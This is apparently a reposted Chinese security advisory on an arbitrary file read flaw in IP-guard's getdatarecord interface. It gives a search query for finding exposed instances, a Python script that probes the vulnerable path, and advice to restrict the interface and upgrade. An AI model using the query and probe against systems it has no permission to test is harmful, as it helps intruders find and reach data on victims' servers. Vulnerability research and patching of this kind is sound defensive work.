app="IP-guard"
python3 main.py -f url.txt -p ip-guard-getdatarecord-readfile
import requests import argparse def check(url) -> bool: try: result = False if url: response = requests.get(f"{url}/ipg/appr/MApplyList/downloadFile_client/getdatarecord") if response.status_code == 200: result = True except Exception as e: print(f"Error: {e}") return result def main(): parser = argparse.ArgumentParser(description='Check if a URL is vulnerabled.') parser.add_argument('-u', '--url', type=str, help='URL to check', default=None) args = parser.parse_args() url = args.url if url: if check(url): print("URL is vulnerabled.") else: print("URL is not vulnerabled.") else: print("-u target No URL provided.") if __name__ == "__main__": main()
1、限制getdatarecord接口的访问
2、升级ip-guard至最新版本
3、官网下载最新补丁版本:http://www.ip-guard.net
原文始发于微信公众号(SCA御盾):【漏洞复现】ip-guard-getdatarecord-任意文件读取漏洞复现
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论